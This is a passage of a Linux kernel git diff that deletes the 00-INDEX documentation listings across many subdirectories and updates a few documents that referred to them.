-	- documentation of the robust futex ABI.
-robust-futexes.txt
-	- a description of what robust futexes are.
-rpmsg.txt
-	- info on the Remote Processor Messaging (rpmsg) Framework
-rtc.txt
-	- notes on how to use the Real Time Clock (aka CMOS clock) driver.
-s390/
-	- directory with info on using Linux on the IBM S390.
-scheduler/
-	- directory with info on the scheduler.
-scsi/
-	- directory with info on Linux scsi support.
-security/
-	- directory that contains security-related info
-serial/
-	- directory with info on the low level serial API.
-sgi-ioc4.txt
-	- description of the SGI IOC4 PCI (multi function) device.
-sh/
-	- directory with info on porting Linux to a new architecture.
-smsc_ece1099.txt
-	-info on the smsc Keyboard Scan Expansion/GPIO Expansion device.
-sound/
-	- directory with info on sound card support.
-spi/
-	- overview of Linux kernel Serial Peripheral Interface (SPI) support.
-sphinx/
-	- no documentation here, just files required by Sphinx toolchain.
-sphinx-static/
-	- no documentation here, just files required by Sphinx toolchain.
-static-keys.txt
-	- info on how static keys allow debug code in hotpaths via patching
-svga.txt
-	- short guide on selecting video modes at boot via VGA BIOS.
-sync_file.txt
-	- Sync file API guide.
-sysctl/
-	- directory with info on the /proc/sys/* files.
-target/
-	- directory with info on generating TCM v4 fabric .ko modules
-tee.txt
-	- info on the TEE subsystem and drivers
-this_cpu_ops.txt
-	- List rationale behind and the way to use this_cpu operations.
-thermal/
-	- directory with information on managing thermal issues (CPU/temp)
-trace/
-	- directory with info on tracing technologies within linux
-translations/
-	- translations of this document from English to another language
-unaligned-memory-access.txt
-	- info on how to avoid arch breaking unaligned memory access in code.
-unshare.txt
-	- description of the Linux unshare system call.
-usb/
-	- directory with info regarding the Universal Serial Bus.
-vfio.txt
-	- info on Virtual Function I/O used in guest/hypervisor instances.
-video-output.txt
-	- sysfs class driver interface to enable/disable a video output device.
-virtual/
-	- directory with information on the various linux virtualizations.
-vm/
-	- directory with info on the Linux vm code.
-w1/
-	- directory with documents regarding the 1-wire (w1) subsystem.
-watchdog/
-	- how to auto-reboot Linux if it has "fallen and can't get up". ;-)
-wimax/
-	- directory with info about Intel Wireless Wimax Connections
-core-api/workqueue.rst
-	- information on the Concurrency Managed Workqueue implementation
-x86/x86_64/
-	- directory with info on Linux support for AMD x86-64 (Hammer) machines.
-xillybus.txt
-	- Overview and basic ui of xillybus driver
-xtensa/
-	- directory with documents relating to arch/xtensa port/implementation
-xz.txt
-	- how to make use of the XZ data compression within linux kernel
-zorro.txt
-	- info on writing drivers for Zorro bus devices found on Amigas.
diff --git a/Documentation/PCI/00-INDEX b/Documentation/PCI/00-INDEX
deleted file mode 100644
index 206b1d5..0000000
--- a/Documentation/PCI/00-INDEX
+++ /dev/null
@@ -1,26 +0,0 @@
-00-INDEX
-	- this file
-acpi-info.txt
-	- info on how PCI host bridges are represented in ACPI
-MSI-HOWTO.txt
-	- the Message Signaled Interrupts (MSI) Driver Guide HOWTO and FAQ.
-PCIEBUS-HOWTO.txt
-	- a guide describing the PCI Express Port Bus driver
-pci-error-recovery.txt
-	- info on PCI error recovery
-pci-iov-howto.txt
-	- the PCI Express I/O Virtualization HOWTO
-pci.txt
-	- info on the PCI subsystem for device driver authors
-pcieaer-howto.txt
-	- the PCI Express Advanced Error Reporting Driver Guide HOWTO
-endpoint/pci-endpoint.txt
-	- guide to add endpoint controller driver and endpoint function driver.
-endpoint/pci-endpoint-cfs.txt
-	- guide to use configfs to configure the PCI endpoint function.
-endpoint/pci-test-function.txt
-	- specification of *PCI test* function device.
-endpoint/pci-test-howto.txt
-	- userguide for PCI endpoint test function.
-endpoint/function/binding/
-	- binding documentation for PCI endpoint function
diff --git a/Documentation/RCU/00-INDEX b/Documentation/RCU/00-INDEX
deleted file mode 100644
index f46980c..0000000
--- a/Documentation/RCU/00-INDEX
+++ /dev/null
@@ -1,34 +0,0 @@
-00-INDEX
-	- This file
-arrayRCU.txt
-	- Using RCU to Protect Read-Mostly Arrays
-checklist.txt
-	- Review Checklist for RCU Patches
-listRCU.txt
-	- Using RCU to Protect Read-Mostly Linked Lists
-lockdep.txt
-	- RCU and lockdep checking
-lockdep-splat.txt
-	- RCU Lockdep splats explained.
-NMI-RCU.txt
-	- Using RCU to Protect Dynamic NMI Handlers
-rcu_dereference.txt
-	- Proper care and feeding of return values from rcu_dereference()
-rcubarrier.txt
-	- RCU and Unloadable Modules
-rculist_nulls.txt
-	- RCU list primitives for use with SLAB_TYPESAFE_BY_RCU
-rcuref.txt
-	- Reference-count design for elements of lists/arrays protected by RCU
-rcu.txt
-	- RCU Concepts
-RTFP.txt
-	- List of RCU papers (bibliography) going back to 1980.
-stallwarn.txt
-	- RCU CPU stall warnings (module parameter rcu_cpu_stall_suppress)
-torture.txt
-	- RCU Torture Test Operation (CONFIG_RCU_TORTURE_TEST)
-UP.txt
-	- RCU on Uniprocessor Systems
-whatisRCU.txt
-	- What is RCU?
diff --git a/Documentation/RCU/rcu.txt b/Documentation/RCU/rcu.txt
index 7d4ae11..721b3e4 100644
--- a/Documentation/RCU/rcu.txt
+++ b/Documentation/RCU/rcu.txt
@@ -87,7 +87,3 @@ o	Where can I find more information on RCU?
 
 	See the RTFP.txt file in this directory.
 	Or point your browser at http://www.rdrop.com/users/paulmck/RCU/.
-
-o	What are all these files in this directory?
-
-	See 00-INDEX for the list.
diff --git a/Documentation/admin-guide/README.rst b/Documentation/admin-guide/README.rst
index 15ea785..0797eec 100644
--- a/Documentation/admin-guide/README.rst
+++ b/Documentation/admin-guide/README.rst
@@ -51,8 +51,7 @@ Documentation
 
  - There are various README files in the Documentation/ subdirectory:
    these typically contain kernel-specific installation notes for some
-   drivers for example. See Documentation/00-INDEX for a list of what
-   is contained in each file.  Please read the
+   drivers for example. Please read the
    :ref:`Documentation/process/changes.rst <changes>` file, as it
    contains information about the problems, which may result by upgrading
    your kernel.
diff --git a/Documentation/arm/00-INDEX b/Documentation/arm/00-INDEX
deleted file mode 100644
index b6e69fd..0000000
--- a/Documentation/arm/00-INDEX
+++ /dev/null
@@ -1,50 +0,0 @@
-00-INDEX
-	- this file
-Booting
-	- requirements for booting
-CCN.txt
-	- Cache Coherent Network ring-bus and perf PMU driver.
-Interrupts
-	- ARM Interrupt subsystem documentation
-IXP4xx
-	- Intel IXP4xx Network processor.
-Netwinder
-	- Netwinder specific documentation
-Porting
-       - Symbol definitions for porting Linux to a new ARM machine.
-Setup
-       - Kernel initialization parameters on ARM Linux
-README
-	- General ARM documentation
-SA1100/
-	- SA1100 documentation
-Samsung-S3C24XX/
-	- S3C24XX ARM Linux Overview
-SPEAr/
-	- ST SPEAr platform Linux Overview
-VFP/
-	- Release notes for Linux Kernel Vector Floating Point support code
-cluster-pm-race-avoidance.txt
-	- Algorithm for CPU and Cluster setup/teardown
-empeg/
-	- Ltd's Empeg MP3 Car Audio Player
-firmware.txt
-	- Secure firmware registration and calling.
-kernel_mode_neon.txt
-	- How to use NEON instructions in kernel mode
-kernel_user_helpers.txt
-	- Helper functions in kernel space made available for userspace.
-mem_alignment
-	- alignment abort handler documentation
-memory.txt
-	- description of the virtual memory layout
-nwfpe/
-	- NWFPE floating point emulator documentation
-swp_emulation
-	- SWP/SWPB emulation handler/logging description
-tcm.txt
-	- ARM Tightly Coupled Memory
-uefi.txt
-	- [U]EFI configuration and runtime services documentation
-vlocks.txt
-	- Voting locks, low-level mechanism relying on memory system atomic writes.
diff --git a/Documentation/block/00-INDEX b/Documentation/block/00-INDEX
deleted file mode 100644
index 8d55b4b..0000000
--- a/Documentation/block/00-INDEX
+++ /dev/null
@@ -1,34 +0,0 @@
-00-INDEX
-	- This file
-bfq-iosched.txt
-	- BFQ IO scheduler and its tunables
-biodoc.txt
-	- Notes on the Generic Block Layer Rewrite in Linux 2.5
-biovecs.txt
-	- Immutable biovecs and biovec iterators
-capability.txt
-	- Generic Block Device Capability (/sys/block/<device>/capability)
-cfq-iosched.txt
-	- CFQ IO scheduler tunables
-cmdline-partition.txt
-	- how to specify block device partitions on kernel command line
-data-integrity.txt
-	- Block data integrity
-deadline-iosched.txt
-	- Deadline IO scheduler tunables
-ioprio.txt
-	- Block io priorities (in CFQ scheduler)
-pr.txt
-	- Block layer support for Persistent Reservations
-null_blk.txt
-	- Null block for block-layer benchmarking.
-queue-sysfs.txt
-	- Queue's sysfs entries
-request.txt
-	- The members of struct request (in include/linux/blkdev.h)
-stat.txt
-	- Block layer statistics in /sys/block/<device>/stat
-switching-sched.txt
-	- Switching I/O schedulers at runtime
-writeback_cache_control.txt
-	- Control of volatile write back caches
diff --git a/Documentation/blockdev/00-INDEX b/Documentation/blockdev/00-INDEX
deleted file mode 100644
index c08df56..0000000
--- a/Documentation/blockdev/00-INDEX
+++ /dev/null
@@ -1,18 +0,0 @@
-00-INDEX
-	- this file
-README.DAC960
-	- info on Mylex DAC960/DAC1100 PCI RAID Controller Driver for Linux.
-cciss.txt
-	- info, major/minor #'s for Compaq's SMART Array Controllers.
-cpqarray.txt
-	- info on using Compaq's SMART2 Intelligent Disk Array Controllers.
-floppy.txt
-	- notes and driver options for the floppy disk driver.
-mflash.txt
-	- info on mGine m(g)flash driver for linux.
-nbd.txt
-	- info on a TCP implementation of a network block device.
-paride.txt
-	- information about the parallel port IDE subsystem.
-ramdisk.txt
-	- short guide on how to set up and use the RAM disk.
diff --git a/Documentation/cdrom/00-INDEX b/Documentation/cdrom/00-INDEX
deleted file mode 100644
index 433edf2..0000000
--- a/Documentation/cdrom/00-INDEX
+++ /dev/null
@@ -1,11 +0,0 @@
-00-INDEX
-	- this file (info on CD-ROMs and Linux)
-Makefile
-	- only used to generate TeX output from the documentation.
-cdrom-standard.tex
-	- LaTeX document on standardizing the CD-ROM programming interface.
-ide-cd
-	- info on setting up and using ATAPI (aka IDE) CD-ROMs.
-packet-writing.txt
-	- Info on the CDRW packet writing module
-
diff --git a/Documentation/cgroup-v1/00-INDEX b/Documentation/cgroup-v1/00-INDEX
deleted file mode 100644
index 13e0c85..0000000
--- a/Documentation/cgroup-v1/00-INDEX
+++ /dev/null
@@ -1,26 +0,0 @@
-00-INDEX
-	- this file
-blkio-controller.txt
-	- Description for Block IO Controller, implementation and usage details.
-cgroups.txt
-	- Control Groups definition, implementation details, examples and API.
-cpuacct.txt
-	- CPU Accounting Controller; account CPU usage for groups of tasks.
-cpusets.txt
-	- documents the cpusets feature; assign CPUs and Mem to a set of tasks.
-admin-guide/devices.rst
-	- Device Whitelist Controller; description, interface and security.
-freezer-subsystem.txt
-	- checkpointing; rationale to not use signals, interface.
-hugetlb.txt
-	- HugeTLB Controller implementation and usage details.
-memcg_test.txt
-	- Memory Resource Controller; implementation details.
-memory.txt
-	- Memory Resource Controller; design, accounting, interface, testing.
-net_cls.txt
-	- Network classifier cgroups details and usages.
-net_prio.txt
-	- Network priority cgroups details and usages.
-pids.txt
-	- Process number cgroups details and usages.
diff --git a/Documentation/devicetree/00-INDEX b/Documentation/devicetree/00-INDEX
deleted file mode 100644
index 8c4102c..0000000
--- a/Documentation/devicetree/00-INDEX
+++ /dev/null
@@ -1,12 +0,0 @@
-Documentation for device trees, a data structure by which bootloaders pass
-hardware layout to Linux in a device-independent manner, simplifying hardware
-probing.  This subsystem is maintained by Grant Likely
-<grant.likely@secretlab.ca> and has a mailing list at
-https://lists.ozlabs.org/listinfo/devicetree-discuss
-
-00-INDEX
-	- this file
-booting-without-of.txt
-	- Booting Linux without Open Firmware, describes history and format of device trees.
-usage-model.txt
-	- How Linux uses DT and what DT aims to solve.
\ No newline at end of file
diff --git a/Documentation/fb/00-INDEX b/Documentation/fb/00-INDEX
deleted file mode 100644
index fe85e7c..0000000
--- a/Documentation/fb/00-INDEX
+++ /dev/null
@@ -1,75 +0,0 @@
-Index of files in Documentation/fb.  If you think something about frame
-buffer devices needs an entry here, needs correction or you've written one
-please mail me.
-				    Geert Uytterhoeven <geert@linux-m68k.org>
-
-00-INDEX
-	- this file.
-api.txt
-	- The frame buffer API between applications and buffer devices.
-arkfb.txt
-	- info on the fbdev driver for ARK Logic chips.
-aty128fb.txt
-	- info on the ATI Rage128 frame buffer driver.
-cirrusfb.txt
-	- info on the driver for Cirrus Logic chipsets.
-cmap_xfbdev.txt
-	- an introduction to fbdev's cmap structures.
-deferred_io.txt
-	- an introduction to deferred IO.
-efifb.txt
-	- info on the EFI platform driver for Intel based Apple computers.
-ep93xx-fb.txt
-	- info on the driver for EP93xx LCD controller.
-fbcon.txt
-	- intro to and usage guide for the framebuffer console (fbcon).
-framebuffer.txt
-	- introduction to frame buffer devices.
-gxfb.txt
-	- info on the framebuffer driver for AMD Geode GX2 based processors.
-intel810.txt
-	- documentation for the Intel 810/815 framebuffer driver.
-intelfb.txt
-	- docs for Intel 830M/845G/852GM/855GM/865G/915G/945G fb driver.
-internals.txt
-	- quick overview of frame buffer device internals.
-lxfb.txt
-	- info on the framebuffer driver for AMD Geode LX based processors.
-matroxfb.txt
-	- info on the Matrox framebuffer driver for Alpha, Intel and PPC.
-metronomefb.txt
-	- info on the driver for the Metronome display controller.
-modedb.txt
-	- info on the video mode database.
-pvr2fb.txt
-	- info on the PowerVR 2 frame buffer driver.
-pxafb.txt
-	- info on the driver for the PXA25x LCD controller.
-s3fb.txt
-	- info on the fbdev driver for S3 Trio/Virge chips.
-sa1100fb.txt
-	- information about the driver for the SA-1100 LCD controller.
-sh7760fb.txt
-	- info on the SH7760/SH7763 integrated LCDC Framebuffer driver.
-sisfb.txt
-	- info on the framebuffer device driver for various SiS chips.
-sm501.txt
-	- info on the framebuffer device driver for sm501 videoframebuffer.
-sstfb.txt
-	- info on the frame buffer driver for 3dfx' Voodoo Graphics boards.
-tgafb.txt
-	- info on the TGA (DECChip 21030) frame buffer driver.
-tridentfb.txt
-	info on the framebuffer driver for some Trident chip based cards.
-udlfb.txt
-	- Driver for DisplayLink USB 2.0 chips.
-uvesafb.txt
-	- info on the userspace VESA (VBE2+ compliant) frame buffer device.
-vesafb.txt
-	- info on the VESA frame buffer device.
-viafb.modes
-	- list of modes for VIA Integration Graphic Chip.
-viafb.txt
-	- info on the VIA Integration Graphic Chip console framebuffer driver.
-vt8623fb.txt
-	- info on the fb driver for the graphics core in VIA VT8623 chipsets.
diff --git a/Documentation/filesystems/00-INDEX b/Documentation/filesystems/00-INDEX
deleted file mode 100644
index 0937bad..0000000
--- a/Documentation/filesystems/00-INDEX
+++ /dev/null
@@ -1,153 +0,0 @@
-00-INDEX
-	- this file (info on some of the filesystems supported by linux).
-Locking
-	- info on locking rules as they pertain to Linux VFS.
-9p.txt
-	- 9p (v9fs) is an implementation of the Plan 9 remote fs protocol.
-adfs.txt
-	- info and mount options for the Acorn Advanced Disc Filing System.
-afs.txt
-	- info and examples for the distributed AFS (Andrew File System) fs.
-affs.txt
-	- info and mount options for the Amiga Fast File System.
-autofs-mount-control.txt
-	- info on device control operations for autofs module.
-automount-support.txt
-	- information about filesystem automount support.
-befs.txt
-	- information about the BeOS filesystem for Linux.
-bfs.txt
-	- info for the SCO UnixWare Boot Filesystem (BFS).
-btrfs.txt
-	- info for the BTRFS filesystem.
-caching/
-	- directory containing filesystem cache documentation.
-ceph.txt
-	- info for the Ceph Distributed File System.
-cifs/
-	- directory containing CIFS filesystem documentation and example code.
-coda.txt
-	- description of the CODA filesystem.
-configfs/
-	- directory containing configfs documentation and example code.
-cramfs.txt
-	- info on the cram filesystem for small storage (ROMs etc).
-dax.txt
-	- info on avoiding the page cache for files stored on CPU-addressable
-	  storage devices.
-debugfs.txt
-	- info on the debugfs filesystem.
-devpts.txt
-	- info on the devpts filesystem.
-directory-locking
-	- info about the locking scheme used for directory operations.
-dlmfs.txt
-	- info on the userspace interface to the OCFS2 DLM.
-dnotify.txt
-	- info about directory notification in Linux.
-dnotify_test.c
-	- example program for dnotify.
-ecryptfs.txt
-	- docs on eCryptfs: stacked cryptographic filesystem for Linux.
-efivarfs.txt
-	- info for the efivarfs filesystem.
-exofs.txt
-	- info, usage, mount options, design about EXOFS.
-ext2.txt
-	- info, mount options and specifications for the Ext2 filesystem.
-ext3.txt
-	- info, mount options and specifications for the Ext3 filesystem.
-ext4.txt
-	- info, mount options and specifications for the Ext4 filesystem.
-f2fs.txt
-	- info and mount options for the F2FS filesystem.
-fiemap.txt
-	- info on fiemap ioctl.
-files.txt
-	- info on file management in the Linux kernel.
-fuse.txt
-	- info on the Filesystem in User SpacE including mount options.
-gfs2-glocks.txt
-	- info on the Global File System 2 - Glock internal locking rules.
-gfs2-uevents.txt
-	- info on the Global File System 2 - uevents.
-gfs2.txt
-	- info on the Global File System 2.
-hfs.txt
-	- info on the Macintosh HFS Filesystem for Linux.
-hfsplus.txt
-	- info on the Macintosh HFSPlus Filesystem for Linux.
-hpfs.txt
-	- info and mount options for the OS/2 HPFS.
-inotify.txt
-	- info on the powerful yet simple file change notification system.
-isofs.txt
-	- info and mount options for the ISO 9660 (CDROM) filesystem.
-jfs.txt
-	- info and mount options for the JFS filesystem.
-locks.txt
-	- info on file locking implementations, flock() vs. fcntl(), etc.
-mandatory-locking.txt
-	- info on the Linux implementation of Sys V mandatory file locking.
-nfs/
-	- nfs-related documentation.
-nilfs2.txt
-	- info and mount options for the NILFS2 filesystem.
-ntfs.txt
-	- info and mount options for the NTFS filesystem (Windows NT).
-ocfs2.txt
-	- info and mount options for the OCFS2 clustered filesystem.
-omfs.txt
-	- info on the Optimized MPEG FileSystem.
-path-lookup.txt
-	- info on path walking and name lookup locking.
-pohmelfs/
-	- directory containing pohmelfs filesystem documentation.
-porting
-	- various information on filesystem porting.
-proc.txt
-	- info on Linux's /proc filesystem.
-qnx6.txt
-	- info on the QNX6 filesystem.
-quota.txt
-	- info on Quota subsystem.
-ramfs-rootfs-initramfs.txt
-	- info on the 'in memory' filesystems ramfs, rootfs and initramfs.
-relay.txt
-	- info on relay, for efficient streaming from kernel to user space.
-romfs.txt
-	- description of the ROMFS filesystem.
-seq_file.txt
-	- how to use the seq_file API.
-sharedsubtree.txt
-	- a description of shared subtrees for namespaces.
-spufs.txt
-	- info and mount options for the SPU filesystem used on Cell.
-squashfs.txt
-	- info on the squashfs filesystem.
-sysfs-pci.txt
-	- info on accessing PCI device resources through sysfs.
-sysfs-tagging.txt
-	- info on sysfs tagging to avoid duplicates.
-sysfs.txt
-	- info on sysfs, a ram-based filesystem for exporting kernel objects.
-sysv-fs.txt
-	- info on the SystemV/V7/Xenix/Coherent filesystem.
-tmpfs.txt
-	- info on tmpfs, a filesystem that holds all files in virtual memory.
-ubifs.txt
-	- info on the Unsorted Block Images FileSystem.
-udf.txt
-	- info and mount options for the UDF filesystem.
-ufs.txt
-	- info on the ufs filesystem.
-vfat.txt
-	- info on using the VFAT filesystem used in Windows NT and Windows 95.
-vfs.txt
-	- overview of the Virtual File System.
-xfs-delayed-logging-design.txt
-	- info on the XFS Delayed Logging Design.
-xfs-self-describing-metadata.txt
-	- info on XFS Self Describing Metadata.
-xfs.txt
-	- info and mount options for the XFS filesystem.
diff --git a/Documentation/filesystems/nfs/00-INDEX b/Documentation/filesystems/nfs/00-INDEX
deleted file mode 100644
index 53f3b59..0000000
--- a/Documentation/filesystems/nfs/00-INDEX
+++ /dev/null
@@ -1,26 +0,0 @@
-00-INDEX
-	- this file (nfs-related documentation).
-Exporting
-	- explanation of how to make filesystems exportable.
-fault_injection.txt
-	- information for using fault injection on the server
-knfsd-stats.txt
-	- statistics which the NFS server makes available to user space.
-nfs.txt
-	- nfs client, and DNS resolution for fs_locations.
-nfs41-server.txt
-	- info on the Linux server implementation of NFSv4 minor version 1.
-nfs-rdma.txt
-	- how to install and setup the Linux NFS/RDMA client and server software
-nfsd-admin-interfaces.txt
-	- Administrative interfaces for nfsd.
-nfsroot.txt
-	- short guide on setting up a diskless box with NFS root filesystem.
-pnfs.txt
-	- short explanation of some of the internals of the pnfs client code
-rpc-cache.txt
-	- introduction to the caching mechanisms in the sunrpc layer.
-idmapper.txt
-	- information for configuring request-keys to be used by idmapper
-rpc-server-gss.txt
-	- Information on GSS authentication support in the NFS Server
diff --git a/Documentation/fmc/00-INDEX b/Documentation/fmc/00-INDEX
deleted file mode 100644
index 431c695..0000000
--- a/Documentation/fmc/00-INDEX
+++ /dev/null
@@ -1,38 +0,0 @@
-
-Documentation in this directory comes from sections of the manual we
-wrote for the externally-developed fmc-bus package. The complete
-manual as of today (2013-02) is available in PDF format at
-http://www.ohwr.org/projects/fmc-bus/files
-
-00-INDEX
-	- this file.
-
-FMC-and-SDB.txt
-	- What are FMC and SDB, basic concepts for this framework
-
-API.txt
-	- The functions that are exported by the bus driver
-
-parameters.txt
-	- The module parameters
-
-carrier.txt
-	- writing a carrier (a device)
-
-mezzanine.txt
-	- writing code for your mezzanine (a driver)
-
-identifiers.txt
-	- how identification and matching works
-
-fmc-fakedev.txt
-	- about drivers/fmc/fmc-fakedev.ko
-
-fmc-trivial.txt
-	- about drivers/fmc/fmc-trivial.ko
-
-fmc-write-eeprom.txt
-	- about drivers/fmc/fmc-write-eeprom.ko
-
-fmc-chardev.txt
-	- about drivers/fmc/fmc-chardev.ko
diff --git a/Documentation/gpio/00-INDEX b/Documentation/gpio/00-INDEX
deleted file mode 100644
index 17e19a6..0000000
--- a/Documentation/gpio/00-INDEX
+++ /dev/null
@@ -1,4 +0,0 @@
-00-INDEX
-	- This file
-sysfs.txt
-	- Information about the GPIO sysfs interface
diff --git a/Documentation/ide/00-INDEX b/Documentation/ide/00-INDEX
deleted file mode 100644
index 22f98ca..0000000
--- a/Documentation/ide/00-INDEX
+++ /dev/null
@@ -1,14 +0,0 @@
-00-INDEX
-    	- this file
-ChangeLog.ide-cd.1994-2004
-	- ide-cd changelog
-ChangeLog.ide-floppy.1996-2002
-	- ide-floppy changelog
-ChangeLog.ide-tape.1995-2002
-	- ide-tape changelog
-ide-tape.txt
-	- info on the IDE ATAPI streaming tape driver
-ide.txt
-	- important info for users of ATA devices (IDE/EIDE disks and CD-ROMS).
-warm-plug-howto.txt
-	- using sysfs to remove and add IDE devices.
\ No newline at end of file
diff --git a/Documentation/ioctl/00-INDEX b/Documentation/ioctl/00-INDEX
deleted file mode 100644
index c1a9257..0000000
--- a/Documentation/ioctl/00-INDEX
+++ /dev/null
@@ -1,12 +0,0 @@
-00-INDEX
-	- this file
-botching-up-ioctls.txt
-	- how to avoid botching up ioctls
-cdrom.txt
-	- summary of CDROM ioctl calls
-hdio.txt
-	- summary of HDIO_ ioctl calls
-ioctl-decoding.txt
-	- how to decode the bits of an IOCTL code
-ioctl-number.txt
-	- how to implement and register device/driver ioctl calls
diff --git a/Documentation/isdn/00-INDEX b/Documentation/isdn/00-INDEX
deleted file mode 100644
index 2d1889b..0000000
--- a/Documentation/isdn/00-INDEX
+++ /dev/null
@@ -1,42 +0,0 @@
-00-INDEX
-	- this file (info on ISDN implementation for Linux)
-CREDITS
-	- list of the kind folks that brought you this stuff.
-HiSax.cert
-	- information about the ITU approval certification of the HiSax driver.
-INTERFACE
-	- description of isdn4linux Link Level and Hardware Level interfaces.
-INTERFACE.fax
-	- description of the fax subinterface of isdn4linux.
-INTERFACE.CAPI
-	- description of kernel CAPI Link Level to Hardware Level interface.
-README
-	- general info on what you need and what to do for Linux ISDN.
-README.FAQ
-	- general info for FAQ.
-README.HiSax
-	- info on the HiSax driver which replaces the old teles.
-README.audio
-	- info for running audio over ISDN.
-README.avmb1
-	- info on driver for AVM-B1 ISDN card.
-README.concap
-	- info on "CONCAP" encapsulation protocol interface used for X.25.
-README.diversion
-	- info on module for isdn diversion services.
-README.fax
-	- info for using Fax over ISDN.
-README.gigaset
-	- info on the drivers for Siemens Gigaset ISDN adapters
-README.hfc-pci
-	- info on hfc-pci based cards.
-README.hysdn
-        - info on driver for Hypercope active HYSDN cards
-README.mISDN
-	- info on the Modular ISDN subsystem (mISDN)
-README.syncppp
-	- info on running Sync PPP over ISDN.
-README.x25
-	- info for running X.25 over ISDN.
-syncPPP.FAQ
-	- frequently asked questions about running PPP over ISDN.
diff --git a/Documentation/kbuild/00-INDEX b/Documentation/kbuild/00-INDEX
deleted file mode 100644
index 8c5e6aa..0000000
--- a/Documentation/kbuild/00-INDEX
+++ /dev/null
@@ -1,14 +0,0 @@
-00-INDEX
-	- this file: info on the kernel build process
-headers_install.txt
-	- how to export Linux headers for use by userspace
-kbuild.txt
-	- developer information on kbuild
-kconfig.txt
-	- usage help for make *config
-kconfig-language.txt
-	- specification of Config Language, the language in Kconfig files
-makefiles.txt
-	- developer information for linux kernel makefiles
-modules.txt
-	- how to build modules and to install them
diff --git a/Documentation/laptops/00-INDEX b/Documentation/laptops/00-INDEX
deleted file mode 100644
index 86169dc..0000000
--- a/Documentation/laptops/00-INDEX
+++ /dev/null
@@ -1,16 +0,0 @@
-00-INDEX
-	- This file
-asus-laptop.txt
-	- information on the Asus Laptop Extras driver.
-disk-shock-protection.txt
-	- information on hard disk shock protection.
-laptop-mode.txt
-	- how to conserve battery power using laptop-mode.
-sony-laptop.txt
-	- Sony Notebook Control Driver (SNC) Readme.
-sonypi.txt
-	- info on Linux Sony Programmable I/O Device support.
-thinkpad-acpi.txt
-	- information on the (IBM and Lenovo) ThinkPad ACPI Extras driver.
-toshiba_haps.txt
-	- information on the Toshiba HDD Active Protection Sensor driver.
diff --git a/Documentation/leds/00-INDEX b/Documentation/leds/00-INDEX
deleted file mode 100644
index ae626b2..0000000
--- a/Documentation/leds/00-INDEX
+++ /dev/null
@@ -1,32 +0,0 @@
-00-INDEX
-	- This file
-leds-blinkm.txt
-	- Driver for BlinkM LED-devices.
-leds-class.txt
-	- documents LED handling under Linux.
-leds-class-flash.txt
-	- documents flash LED handling under Linux.
-leds-lm3556.txt
-	- notes on how to use the leds-lm3556 driver.
-leds-lp3944.txt
-	- notes on how to use the leds-lp3944 driver.
-leds-lp5521.txt
-	- notes on how to use the leds-lp5521 driver.
-leds-lp5523.txt
-	- notes on how to use the leds-lp5523 driver.
-leds-lp5562.txt
-	- notes on how to use the leds-lp5562 driver.
-leds-lp55xx.txt
-	- description about lp55xx common driver.
-leds-lm3556.txt
-	- notes on how to use the leds-lm3556 driver.
-leds-mlxcpld.txt
-	- notes on how to use the leds-mlxcpld driver.
-ledtrig-oneshot.txt
-	- One-shot LED trigger for both sporadic and dense events.
-ledtrig-transient.txt
-	- LED Transient Trigger, one shot timer activation.
-ledtrig-usbport.txt
-	- notes on how to use the drivers/usb/core/ledtrig-usbport.c trigger.
-uleds.txt
-	- notes on how to use the uleds driver.
diff --git a/Documentation/locking/00-INDEX b/Documentation/locking/00-INDEX
deleted file mode 100644
index c256c9b..0000000
--- a/Documentation/locking/00-INDEX
+++ /dev/null
@@ -1,16 +0,0 @@
-00-INDEX
-	- this file.
-lockdep-design.txt
-	- documentation on the runtime locking correctness validator.
-lockstat.txt
-	- info on collecting statistics on locks (and contention).
-mutex-design.txt
-	- info on the generic mutex subsystem.
-rt-mutex-design.txt
-	- description of the RealTime mutex implementation design.
-rt-mutex.txt
-	- desc. of RT-mutex subsystem with PI (Priority Inheritance) support.
-spinlocks.txt
-	- info on using spinlocks to provide exclusive access in kernel.
-ww-mutex-design.txt
-	- Intro to Mutex wait/would deadlock handling.s
diff --git a/Documentation/m68k/00-INDEX b/Documentation/m68k/00-INDEX
deleted file mode 100644
index 2be8c6b..0000000
--- a/Documentation/m68k/00-INDEX
+++ /dev/null
@@ -1,7 +0,0 @@
-00-INDEX
-	- this file
-README.buddha
-	- Amiga Buddha and Catweasel IDE Driver
-kernel-options.txt
-	- command line options for Linux/m68k
-
diff --git a/Documentation/mips/00-INDEX b/Documentation/mips/00-INDEX
deleted file mode 100644
index 8ae9cff..0000000
--- a/Documentation/mips/00-INDEX
+++ /dev/null
@@ -1,4 +0,0 @@
-00-INDEX
-	- this file.
-AU1xxx_IDE.README
-	- README for MIPS AU1XXX IDE driver.
diff --git a/Documentation/mmc/00-INDEX b/Documentation/mmc/00-INDEX
deleted file mode 100644
index 4623bc0..0000000
--- a/Documentation/mmc/00-INDEX
+++ /dev/null
@@ -1,10 +0,0 @@
-00-INDEX
-        - this file
-mmc-dev-attrs.txt
-        - info on SD and MMC device attributes
-mmc-dev-parts.txt
-        - info on SD and MMC device partitions
-mmc-async-req.txt
-        - info on mmc asynchronous requests
-mmc-tools.txt
-	- info on mmc-utils tools
diff --git a/Documentation/netlabel/00-INDEX b/Documentation/netlabel/00-INDEX
deleted file mode 100644
index 837bf35..0000000
--- a/Documentation/netlabel/00-INDEX
+++ /dev/null
@@ -1,10 +0,0 @@
-00-INDEX
-	- this file.
-cipso_ipv4.txt
-	- documentation on the IPv4 CIPSO protocol engine.
-draft-ietf-cipso-ipsecurity-01.txt
-	- IETF draft of the CIPSO protocol, dated 16 July 1992.
-introduction.txt
-	- NetLabel introduction, READ THIS FIRST.
-lsm_interface.txt
-	- documentation on the NetLabel kernel security module API.
diff --git a/Documentation/netlabel/cipso_ipv4.txt b/Documentation/netlabel/cipso_ipv4.txt
index 93dacb1..a607548 100644
--- a/Documentation/netlabel/cipso_ipv4.txt
+++ b/Documentation/netlabel/cipso_ipv4.txt
@@ -6,11 +6,12 @@ May 17, 2006
 
  * Overview
 
-The NetLabel CIPSO/IPv4 protocol engine is based on the IETF Commercial IP
-Security Option (CIPSO) draft from July 16, 1992.  A copy of this draft can be
-found in this directory, consult '00-INDEX' for the filename.  While the IETF
-draft never made it to an RFC standard it has become a de-facto standard for
-labeled networking and is used in many trusted operating systems.
+The NetLabel CIPSO/IPv4 protocol engine is based on the IETF Commercial
+IP Security Option (CIPSO) draft from July 16, 1992.  A copy of this
+draft can be found in this directory
+(draft-ietf-cipso-ipsecurity-01.txt).  While the IETF draft never made
+it to an RFC standard it has become a de-facto standard for labeled
+networking and is used in many trusted operating systems.
 
  * Outbound Packet Processing
 
